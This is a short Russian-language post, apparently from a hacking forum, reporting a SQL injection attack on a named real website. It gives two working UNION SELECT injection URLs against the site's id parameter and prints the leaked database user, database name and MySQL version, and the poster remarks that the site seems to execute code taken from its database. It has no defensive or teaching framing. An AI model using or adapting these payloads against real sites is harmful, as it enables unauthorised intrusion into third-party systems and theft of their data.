eval()'d code

Это не SQL ошибка, а вообще мне кажется он исполняет точто приходит из бд.
Сейчас покавыряюсь скажу.

http://www.mibf.ru/?id=-52+union+select+1,2,3,4,5,6,7,8,9,10+--+
>>

http://www.mibf.ru/?id=-52+UNION+SELECT+1,2,3,4,5,6,7,concat_ws(0x3a,user( ),database(),version()),concat_ws(0x3a,user(),data base(),version()),10+--+
>>>
User: mibf@localhost
Database: mibficom
Version: 5.0.45